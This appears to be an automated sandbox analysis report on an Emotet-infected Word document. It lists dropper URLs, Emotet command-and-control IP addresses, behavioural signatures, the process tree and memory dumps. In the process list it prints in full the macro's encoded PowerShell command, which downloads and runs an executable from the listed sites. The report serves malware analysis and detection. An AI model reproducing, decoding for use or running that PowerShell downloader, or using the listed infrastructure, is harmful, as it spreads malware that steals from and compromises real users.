Analysis
- max time kernel
139s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
24/09/2020, 04:44
General
- Target LQ3428165400WY.doc
- Size 162KB
- Sample200924-8lcbcmx1ma
- SHA256 a92504d33c04f21f1e8bfc2322f66cf3d45f486ed7ebbf78f3ee270fb0d3e3a2
Malware Config
Extracted
-
ps1
-
exe.dropper
http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
-
exe.dropper
http://sadanandpvc.com/twitter/BssXB/
-
exe.dropper
http://help-m2c.eccang.com/pseovck27kr/T/
-
exe.dropper
http://youtube-monetization.com/qrnsp/2v/
-
exe.dropper
http://ahrgintl.com/alfacgiapi/jg1VUae/
-
exe.dropper
http://helionspharmaceutical.com/wp-admin/Xg/
-
exe.dropper
http://hanulmotors.com/nbqso/H0DdOyB/
Extracted
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emotet
-
174.106.122.139:80
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159.203.116.47:8080
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173.249.6.108:443
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104.236.246.93:8080
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174.45.13.118:80
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137.59.187.107:8080
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94.200.114.161:80
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37.187.72.193:8080
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67.10.155.92:80
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121.124.124.40:7080
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24.43.99.75:80
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75.139.38.211:80
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109.74.5.95:8080
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137.119.36.33:80
-
74.134.41.124:80
-
66.65.136.14:80
-
94.1.108.190:443
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181.169.235.7:80
-
79.137.83.50:443
-
104.131.44.150:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 8 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\LQ3428165400WY.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\UIAnimation\t2embed.exe"C:\Windows\SysWOW64\UIAnimation\t2embed.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/580-0-0x00007FFE41510000-0x00007FFE41BD6000-memory.dmp
memory/580-5-0x000001C12C08D000-0x000001C12C0A5000-memory.dmp
memory/580-6-0x000001C124484000-0x000001C124489000-memory.dmp
memory/580-7-0x000001C124489000-0x000001C124490000-memory.dmp
memory/580-8-0x000001C124484000-0x000001C124489000-memory.dmp
memory/992-15-0x0000000000720000-0x0000000000732000-memory.dmp
memory/992-16-0x0000000000600000-0x0000000000610000-memory.dmp
memory/2128-19-0x0000000002110000-0x0000000002122000-memory.dmp
memory/2128-20-0x00000000004F0000-0x0000000000500000-memory.dmp
memory/3068-11-0x000001C37B660000-0x000001C37B661000-memory.dmp
memory/3068-10-0x000001C37B470000-0x000001C37B471000-memory.dmp
memory/3068-9-0x00007FFE34E60000-0x00007FFE3584C000-memory.dmp